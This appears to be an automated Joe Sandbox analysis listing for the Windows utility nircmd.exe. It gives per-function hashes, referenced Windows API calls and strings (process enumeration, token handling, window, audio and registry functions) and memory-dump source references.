Opcode ID: 205c3a8b825a7b08a50d46d63c1406253b0d3c4fa86846c2d3cafb8797588cd4
Instruction ID: 69f8d428af4987c973896db4dca5526327e8e572890b225f15a067acc3d124e6
Opcode Fuzzy Hash: 205c3a8b825a7b08a50d46d63c1406253b0d3c4fa86846c2d3cafb8797588cd4
Instruction Fuzzy Hash: 2A11E9F0A4460181FA66EB27BD51BE403806B5C7C4F845036BB1A8F2FAEB7DCA448205

Function 0000000140012CA0 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000000140012CB6
GetProcAddress.KERNEL32 ref: 0000000140012CC9
GetProcAddress.KERNEL32 ref: 0000000140012CDD
GetProcAddress.KERNEL32 ref: 0000000140012CF1
GetProcAddress.KERNEL32 ref: 0000000140012D05
GetProcAddress.KERNEL32 ref: 0000000140012D19

Strings

GetModuleInformation, xrefs: 0000000140012D0E
GetModuleBaseNameA, xrefs: 0000000140012CBC
EnumProcesses, xrefs: 0000000140012CFA
EnumProcessModules, xrefs: 0000000140012CD2
GetModuleFileNameExA, xrefs: 0000000140012CE6
psapi.dll, xrefs: 0000000140012CAF

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameA$GetModuleFileNameExA$GetModuleInformation$psapi.dll
API String ID: 2238633743-232097475
Opcode ID: 187429d329e51a0871d1cf27a5b4e7f48010a5b821799f353fab7aa8adf98776
Instruction ID: 45157a7d630c466e3f339c66ea7a43ff1e9be4e6c1c89c1e5a6917cf516666a6
Opcode Fuzzy Hash: 187429d329e51a0871d1cf27a5b4e7f48010a5b821799f353fab7aa8adf98776
Instruction Fuzzy Hash: A4019C75601F4691EF029F66E89479833B0F34DB98F548112EA4D4B328EF3EC19AC350

Function 0000000140008C34 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 91librarystringloaderCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0000000140008C63
strlen.MSVCRT ref: 0000000140008C86
atoi.MSVCRT ref: 0000000140008C94
GetModuleHandleA.KERNEL32 ref: 0000000140008CAD
GetProcAddress.KERNEL32 ref: 0000000140008CC6
memset.MSVCRT ref: 0000000140008D19
GetModuleHandleA.KERNEL32 ref: 0000000140008D25
GetProcAddress.KERNEL32 ref: 0000000140008D3A
strcpy.MSVCRT ref: 0000000140008D91

Strings

user32.dll, xrefs: 0000000140008C99, 0000000140008D1E
EnumDisplayDevicesA, xrefs: 0000000140008CBC, 0000000140008D30

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcmemset$atoistrcpystrlen
String ID: EnumDisplayDevicesA$user32.dll
API String ID: 3558546962-2278183399
Opcode ID: 27301c20c4a326926dbc67597fd074562cfa7db69c07c2fdc03de70701ebc424
Instruction ID: c007393e9a47959c9e835e62f6632699182b835304fb94e62f7903005cb7ab1a
Opcode Fuzzy Hash: 27301c20c4a326926dbc67597fd074562cfa7db69c07c2fdc03de70701ebc424
Instruction Fuzzy Hash: B4314BB1305A4191FB76DB23B4543E963A1BBADBC0F898126EF894B7A5EF39C5058700

Function 000000014001361C Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72threadsleepprocessCOMMON

Download Yara Rule

APIs

Part of subcall function 00000001400132A8: EnumWindows.USER32 ref: 00000001400132CC

WinExec.KERNEL32 ref: 000000014001364E
GetWindowLongA.USER32 ref: 000000014001366C
ShowWindow.USER32 ref: 0000000140013680
SetForegroundWindow.USER32 ref: 0000000140013689
Sleep.KERNEL32 ref: 000000014001369F
GetCurrentThreadId.KERNEL32 ref: 00000001400136CC
GetWindowThreadProcessId.USER32 ref: 00000001400136D9
AttachThreadInput.USER32 ref: 00000001400136EB
SetFocus.USER32 ref: 00000001400136F8
AttachThreadInput.USER32 ref: 0000000140013705

Strings

regedit.exe, xrefs: 0000000140013647

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: ThreadWindow$AttachInput$CurrentEnumExecFocusForegroundLongProcessShowSleepWindows
String ID: regedit.exe
API String ID: 2889832356-3532722396
Opcode ID: a8c7b487623788c5d5957a3c1955224fcbb065a88b790003cc9d10c7ad9476ab
Instruction ID: f2473d1409a2d085da8ca3a64ab409af838f0e11408c1aae5d1de9060d6e16e5
Opcode Fuzzy Hash: a8c7b487623788c5d5957a3c1955224fcbb065a88b790003cc9d10c7ad9476ab
Instruction Fuzzy Hash: 31216D31310A0082EB169B27E8547A97762B78DFD4F588621FF9A4B7B9DE3AC8458341

Function 000000014000507C Relevance: 18.3, APIs: 12, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

CoTaskMemAlloc.OLE32 ref: 00000001400050CB
CoTaskMemAlloc.OLE32 ref: 0000000140005177
memset.MSVCRT ref: 0000000140005195
CoTaskMemAlloc.OLE32 ref: 00000001400051E5
memset.MSVCRT ref: 0000000140005203
CoTaskMemAlloc.OLE32 ref: 0000000140005287
memset.MSVCRT ref: 00000001400052A5
CoTaskMemAlloc.OLE32 ref: 000000014000530B
memset.MSVCRT ref: 0000000140005329
memcpy.MSVCRT ref: 00000001400053E2
CoTaskMemAlloc.OLE32 ref: 0000000140005401
memset.MSVCRT ref: 000000014000541B

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: AllocTask$memset$memcpy
String ID:
API String ID: 1269781005-0
Opcode ID: a92108033b8d1965a406843748201e11bc42ecb644dde5c2e9d009a5ae110bfb
Instruction ID: 2ff9e0a7e489f98ce698c5f68fa80e85f7318122615fc2e3cb6eb470a382c795
Opcode Fuzzy Hash: a92108033b8d1965a406843748201e11bc42ecb644dde5c2e9d009a5ae110bfb
Instruction Fuzzy Hash: 4EB1B5B2210690C6E71ADF16E448BDE33B4FB0A7C9F409429F74A4B3A1EBB9D584C705

Function 000000014000A180 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 147COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000014000A1B3
atoi.MSVCRT ref: 000000014000A1CB
_stricmp.MSVCRT ref: 000000014000A1F3
_stricmp.MSVCRT ref: 000000014000A20B

Part of subcall function 00000001400029DC: strlen.MSVCRT ref: 00000001400029F7
Part of subcall function 00000001400029DC: memcpy.MSVCRT ref: 0000000140002A0F

GetFileAttributesA.KERNEL32 ref: 000000014000A297
CoInitialize.OLE32 ref: 000000014000A2AE
CoUninitialize.OLE32 ref: 000000014000A350

Strings

Failed to create the shortcut !, xrefs: 000000014000A35A
max, xrefs: 000000014000A1D6
min, xrefs: 000000014000A201

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _stricmp$AttributesFileInitializeUninitializeatoimemcpymemsetstrlen
String ID: Failed to create the shortcut !$max$min
API String ID: 1265206195-175149443
Opcode ID: 4f3f6d7e295ec2548f870704ffd647eb11e60efd421fbdc7e0d3f904b587a476
Instruction ID: 1051ef9a8fb9c71374609eb59e55176655e80325a88a02efb72a3799e696616d
Opcode Fuzzy Hash: 4f3f6d7e295ec2548f870704ffd647eb11e60efd421fbdc7e0d3f904b587a476
Instruction Fuzzy Hash: CF51E3B270868086EF12DB22F5917E9B391FB497C4F058122FB564B6A9EF7DC608C700

Function 0000000140002E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

??2@YAPEAX_K@Z.MSVCRT ref: 0000000140002E52
??2@YAPEAX_K@Z.MSVCRT ref: 0000000140002E5D
sprintf.MSVCRT ref: 0000000140002EA3
sprintf.MSVCRT ref: 0000000140002EDD
memcpy.MSVCRT ref: 0000000140002EF4
memset.MSVCRT ref: 0000000140002F2D
??3@YAXPEAX@Z.MSVCRT ref: 0000000140002FA0
??3@YAXPEAX@Z.MSVCRT ref: 0000000140002FA8

Strings

%8.8X , xrefs: 0000000140002E93
%2.2X , xrefs: 0000000140002EBA

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: ??2@??3@sprintf$memcpymemset
String ID: %2.2X $%8.8X
API String ID: 1143686992-259817711
Opcode ID: 0512638cd9aab043cf947234bfc81342e3b97f1729402f81b03cccd7c9782104
Instruction ID: d4aaabaf245e8d5cc93de4c3782dd1c79b35df8fb08d6a4f55dddd8635b6eacb
Opcode Fuzzy Hash: 0512638cd9aab043cf947234bfc81342e3b97f1729402f81b03cccd7c9782104
Instruction Fuzzy Hash: B641B37361828186EB72EF16E4807EABBA5F7987C4F454121FF890B7A6DB39C544CB00

Function 00000001400074BC Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 86timeCOMMON

Download Yara Rule

APIs

_stricmp.MSVCRT ref: 00000001400074F0
GetSystemTime.KERNEL32 ref: 00000001400074FE
SystemTimeToFileTime.KERNEL32 ref: 0000000140007511

Part of subcall function 0000000140007314: strlen.MSVCRT ref: 0000000140007332
Part of subcall function 0000000140007314: memset.MSVCRT ref: 0000000140007345
Part of subcall function 0000000140007314: memcpy.MSVCRT ref: 0000000140007369
Part of subcall function 0000000140007314: atoi.MSVCRT ref: 000000014000737E
Part of subcall function 0000000140007314: memcpy.MSVCRT ref: 0000000140007394
Part of subcall function 0000000140007314: atoi.MSVCRT ref: 00000001400073A3
Part of subcall function 0000000140007314: memcpy.MSVCRT ref: 00000001400073BA
Part of subcall function 0000000140007314: atoi.MSVCRT ref: 00000001400073C9
Part of subcall function 0000000140007314: memcpy.MSVCRT ref: 00000001400073FE
Part of subcall function 0000000140007314: atoi.MSVCRT ref: 000000014000740D
Part of subcall function 0000000140007314: memcpy.MSVCRT ref: 0000000140007428
Part of subcall function 0000000140007314: atoi.MSVCRT ref: 0000000140007437
Part of subcall function 0000000140007314: memcpy.MSVCRT ref: 0000000140007455
Part of subcall function 0000000140007314: atoi.MSVCRT ref: 000000014000746A
Part of subcall function 0000000140007314: SystemTimeToFileTime.KERNEL32 ref: 0000000140007481
Part of subcall function 0000000140007314: LocalFileTimeToFileTime.KERNEL32 ref: 0000000140007492

_stricmp.MSVCRT ref: 0000000140007542
GetSystemTime.KERNEL32 ref: 0000000140007550
SystemTimeToFileTime.KERNEL32 ref: 0000000140007560
_stricmp.MSVCRT ref: 0000000140007590
GetSystemTime.KERNEL32 ref: 000000014000759E
SystemTimeToFileTime.KERNEL32 ref: 00000001400075AE

Strings

now, xrefs: 00000001400074DA, 0000000140007538, 0000000140007589

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: Time$System$Fileatoimemcpy$_stricmp$Localmemsetstrlen
String ID: now
API String ID: 825280500-2433526991
Opcode ID: 6117511df2f07359ccb305127872a21b61c0feb1cfef361833448efe635b5fec
Instruction ID: a72b4ff2e4fae1c90452288ecbda60d6831029c665a6bf485c2ba634d1568f9a
Opcode Fuzzy Hash: 6117511df2f07359ccb305127872a21b61c0feb1cfef361833448efe635b5fec
Instruction Fuzzy Hash: 24315EB2614A85A2EB52DB16F880BD96321F3897C5F904422FF4D4B679DF7DC649C700

Function 0000000140007950 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0000000140007A34: _stricmp.MSVCRT(?,?,?,000000014000796A,?,?,?,0000000140006868), ref: 0000000140007A4D

_stricmp.MSVCRT(?,?,?,0000000140006868), ref: 0000000140007992
GetSystemDirectoryA.KERNEL32(?,?,?,0000000140006868), ref: 00000001400079A3

Strings

nircmd, xrefs: 00000001400079D3
windows, xrefs: 00000001400079B0
system, xrefs: 0000000140007988

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _stricmp$DirectorySystem
String ID: nircmd$system$windows
API String ID: 3947926286-2263510502
Opcode ID: 24286c5a683e1ad1e102207b91daec6c4e99062dcfd2ed82e1094de7d190878e
Instruction ID: 95820082f1dfad9cd413ba008b03d1e805ec1392f701c6d459e84ba954c76284
Opcode Fuzzy Hash: 24286c5a683e1ad1e102207b91daec6c4e99062dcfd2ed82e1094de7d190878e
Instruction Fuzzy Hash: 8B21C6B170828191FB66EB2BB5D07FD1650A74E7D4F144021FB4A4B7B6CA7DC5468302

Function 0000000140015A30 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 64registryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0000000140015A54
RegOpenKeyExA.ADVAPI32 ref: 0000000140015A7D
RegQueryValueExA.ADVAPI32 ref: 0000000140015ABF
RegCloseKey.ADVAPI32 ref: 0000000140015ACD
waveOutGetNumDevs.WINMM ref: 0000000140015ADE
memset.MSVCRT ref: 0000000140015AF6
waveOutGetDevCapsA.WINMM ref: 0000000140015B06
_stricmp.MSVCRT ref: 0000000140015B19

Strings

Playback, xrefs: 0000000140015AA9
Software\Microsoft\Multimedia\Sound Mapper, xrefs: 0000000140015A61

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: memsetwave$CapsCloseDevsOpenQueryValue_stricmp
String ID: Playback$Software\Microsoft\Multimedia\Sound Mapper
API String ID: 1858156295-2460313733
Opcode ID: c5968d52f9bfdcf5d41d4270faa65a3d5189f3a097c9eeb7f5e17c40126d1bc4
Instruction ID: 55bd5833650db630a30255c5757654d9f040f5b6d3f529e7593af90e384d6417
Opcode Fuzzy Hash: c5968d52f9bfdcf5d41d4270faa65a3d5189f3a097c9eeb7f5e17c40126d1bc4
Instruction Fuzzy Hash: 29317331218A81D2EBA2DB26E8847DE63A1F78C7C5F805125F74D4FAA4DF79C555CB00

Function 0000000140001368 Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 000000014000137F
GetProcAddress.KERNEL32 ref: 0000000140001393
GetProcAddress.KERNEL32 ref: 00000001400013A7
GetProcAddress.KERNEL32 ref: 00000001400013BC
GetProcAddress.KERNEL32 ref: 00000001400013D1

Strings

DuplicateTokenEx, xrefs: 00000001400013B1
advapi32.dll, xrefs: 0000000140001378
OpenProcessToken, xrefs: 000000014000139D
CreateProcessAsUserA, xrefs: 00000001400013C6
CreateProcessWithTokenW, xrefs: 0000000140001385

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessAsUserA$CreateProcessWithTokenW$DuplicateTokenEx$OpenProcessToken$advapi32.dll
API String ID: 2238633743-3283825160
Opcode ID: dd09ddf3414691f77550a5cd5b1d7c71783b1f4152c2203e3fa0a09c19da0e97
Instruction ID: 32769588ed91cbdd5a75b82725a118c1390f358a92b4cca4c346fad4faa9c75f
Opcode Fuzzy Hash: dd09ddf3414691f77550a5cd5b1d7c71783b1f4152c2203e3fa0a09c19da0e97
Instruction Fuzzy Hash: FE019DB5601F0692EB228F66E89879833B1F38CB89F504111EE4D4B328EF7AC259C350

Function 0000000140014444 Relevance: 16.7, APIs: 11, Instructions: 157COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000014001446C
wcscpy.MSVCRT ref: 00000001400144B0
wcscpy.MSVCRT ref: 00000001400144CD
CoTaskMemFree.OLE32 ref: 00000001400144DA
memcmp.MSVCRT ref: 000000014001451F
memcmp.MSVCRT ref: 0000000140014544
memcpy.MSVCRT ref: 0000000140014565
memcmp.MSVCRT ref: 0000000140014590
memcmp.MSVCRT ref: 000000014001463A
wcscpy.MSVCRT ref: 0000000140014651
memcpy.MSVCRT ref: 00000001400146B5

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: memcmp$wcscpy$memcpy$FreeTaskmemset
String ID:
API String ID: 790580234-0
Opcode ID: 5377edad9c19119b600bdffcec7d0a844fa5ff07d6537e895289b2ffc28a7ede
Instruction ID: ec63aa119e7a1bcd3f5c815dc156cca0e25f7b479da9ba17613bceb268dc4c23
Opcode Fuzzy Hash: 5377edad9c19119b600bdffcec7d0a844fa5ff07d6537e895289b2ffc28a7ede
Instruction Fuzzy Hash: BF710972608A8486DB61DF16E0803DEB761F789BC5F548016FB8A4BB79DF79C984CB40

Function 0000000140008480 Relevance: 16.6, APIs: 6, Strings: 5, Instructions: 149stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00000001400084C5
memset.MSVCRT ref: 00000001400084E2

Part of subcall function 0000000140006F0C: _stricmp.MSVCRT ref: 0000000140006F38

memcpy.MSVCRT ref: 00000001400085A5
memset.MSVCRT ref: 00000001400085CF
strcpy.MSVCRT ref: 00000001400085E1
memcpy.MSVCRT ref: 0000000140008677

Part of subcall function 0000000140002DF4: strtoul.MSVCRT ref: 0000000140002E0D

Strings

noascii, xrefs: 00000001400084FC
bin, xrefs: 0000000140008521
nohex, xrefs: 00000001400084E7
Failed to load the process library !, xrefs: 00000001400086CC
Cannot find the specified process !, xrefs: 00000001400086C3

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: memset$memcpy$_stricmpstrcpystrtoul
String ID: Cannot find the specified process !$Failed to load the process library !$bin$noascii$nohex
API String ID: 2828473317-4186054902
Opcode ID: b11b0edaf118934a1e3b0fd725ab0a1f49b549194fc5772f56e804947c2be8fb
Instruction ID: c4246e8aeb1b09d522a7b9ceb8c747f1cebdfea575450eccd664a85fc6c4edac
Opcode Fuzzy Hash: b11b0edaf118934a1e3b0fd725ab0a1f49b549194fc5772f56e804947c2be8fb
Instruction Fuzzy Hash: 1261B2B2304A8182FB66DB12F4847EA73A1F78C7C5F814022FB4A4B6A5DF3AC509C740

Function 0000000140001E7C Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 58libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 0000000140001E91
LoadLibraryA.KERNEL32 ref: 0000000140001EA7
GetProcAddress.KERNEL32 ref: 0000000140001EC3
FreeLibrary.KERNEL32 ref: 0000000140001EDC
GetProcAddress.KERNEL32 ref: 0000000140001F12

Strings

CreateAssemblyCache, xrefs: 0000000140001F0B
LoadLibraryShim, xrefs: 0000000140001EB9
fusion.dll, xrefs: 0000000140001EF9
mscoree.dll, xrefs: 0000000140001EA0

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeProc$Load
String ID: CreateAssemblyCache$LoadLibraryShim$fusion.dll$mscoree.dll
API String ID: 3420977620-2307797259
Opcode ID: 50588b5598b9c0ae0d2f9735c525b11cd504cf645931b6b28f59f02a46e89812
Instruction ID: 1393aae09e6bf67bcb02c3eb5f9086c94f348a6fca0cba41cab007e3e729673e
Opcode Fuzzy Hash: 50588b5598b9c0ae0d2f9735c525b11cd504cf645931b6b28f59f02a46e89812
Instruction Fuzzy Hash: 7E211A72212B4592FF96DF26F4947E963B0EB8CB88F484425AB0E4B2B8DF38C554C350

Function 0000000140005BD8 Relevance: 15.1, APIs: 10, Instructions: 137COMMON

Download Yara Rule

APIs

mixerOpen.WINMM ref: 0000000140005C22
memset.MSVCRT ref: 0000000140005C40
mixerGetLineInfoA.WINMM ref: 0000000140005C68
memset.MSVCRT ref: 0000000140005C81
memset.MSVCRT ref: 0000000140005C9E
mixerGetLineControlsA.WINMM ref: 0000000140005CF2
memset.MSVCRT ref: 0000000140005D0A
mixerGetControlDetailsA.WINMM ref: 0000000140005D54
mixerSetControlDetails.WINMM ref: 0000000140005DED
mixerClose.WINMM ref: 0000000140005DF8

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: mixer$memset$ControlDetailsLine$CloseControlsInfoOpen
String ID:
API String ID: 1974157972-0
Opcode ID: f806d902107087c5b61bdf7660ce082892fe561e9d7cf6d6f43e3b63787a81cc
Instruction ID: da571eb776e3099fde167cbb4d8733a9ab63f6cfcc4c1d4c023c3e601d5e512d
Opcode Fuzzy Hash: f806d902107087c5b61bdf7660ce082892fe561e9d7cf6d6f43e3b63787a81cc
Instruction Fuzzy Hash: 476169B26186808BE761DF16E084B9FB7B1F7C9785F504016EB8987A68DB79C545CF00

Function 0000000140012368 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 132stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140002BB0: GetVersionExA.KERNEL32(?,?,?,?,0000000140013BEC), ref: 0000000140002BCE

OpenProcess.KERNEL32(00000000,00000000,?,0000000140008659), ref: 00000001400123B6
memset.MSVCRT ref: 0000000140012425
memset.MSVCRT ref: 0000000140012437
strcpy.MSVCRT ref: 0000000140012478
memset.MSVCRT ref: 000000014001253E
strcpy.MSVCRT(?,0000000140008659), ref: 0000000140012562
CloseHandle.KERNEL32(?,0000000140008659), ref: 00000001400125BB

Strings

:, xrefs: 0000000140012461

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: memset$strcpy$CloseHandleOpenProcessVersion
String ID: :
API String ID: 2802433453-336475711
Opcode ID: ed97459e9d1533e4adcfaa244eefaa4f0d2c8120d288d520d807d16219259328
Instruction ID: 57d403b5d6326198616a6fb5e0e2865e9545386ca3d298a61dba7f6935a76028
Opcode Fuzzy Hash: ed97459e9d1533e4adcfaa244eefaa4f0d2c8120d288d520d807d16219259328
Instruction Fuzzy Hash: 69516E72208A81D6EB72DB16E4947DAB3A5F7887C4F404125FB884BBA8DF3EC555CB00

Function 0000000140012164 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 0000000140012185
memset.MSVCRT ref: 00000001400121BF
GetWindowsDirectoryA.KERNEL32 ref: 00000001400121D9
strcpy.MSVCRT ref: 00000001400121F1
strcpy.MSVCRT ref: 00000001400121FE
strcat.MSVCRT ref: 0000000140012210
strcpy.MSVCRT ref: 000000014001221D

Strings

\systemroot, xrefs: 0000000140012198

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

